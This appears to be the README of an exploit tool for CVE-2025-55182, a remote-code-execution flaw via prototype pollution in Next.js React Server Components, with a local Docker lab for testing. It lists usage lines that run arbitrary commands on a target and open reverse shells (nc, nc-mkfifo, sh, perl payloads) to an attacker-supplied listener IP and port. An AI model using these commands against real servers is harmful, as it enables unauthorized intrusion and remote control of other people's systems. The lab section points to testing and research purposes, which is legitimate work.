
Exploit for CVE-2025-55182 enabling remote code execution via prototype pollution in Next.js React Server Components, with command execution and reverse shell capabilities.
Exploits CVE-2025-55182 for remote code execution via prototype pollution.
uv sync
source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"
python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo
-u, --url: URL/host to check (required)-c, --cmd: Command to execute-r, --reverse: Enable reverse shell mode-l, --lhost: Listener host for reverse shell-p, --lport: Listener port for reverse shell-P, --payload: Reverse shell payload type: nc, nc-mkfifo, sh, perl (default: nc)--timeout: Request timeout in seconds (default: 10)# Execute command
python3 exploit.py -u https://example.com -c "whoami"
# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo
The lab/ directory contains a complete Docker setup for testing the exploit.
cd lab
docker-compose up -d
This will start two services:
# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"
# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo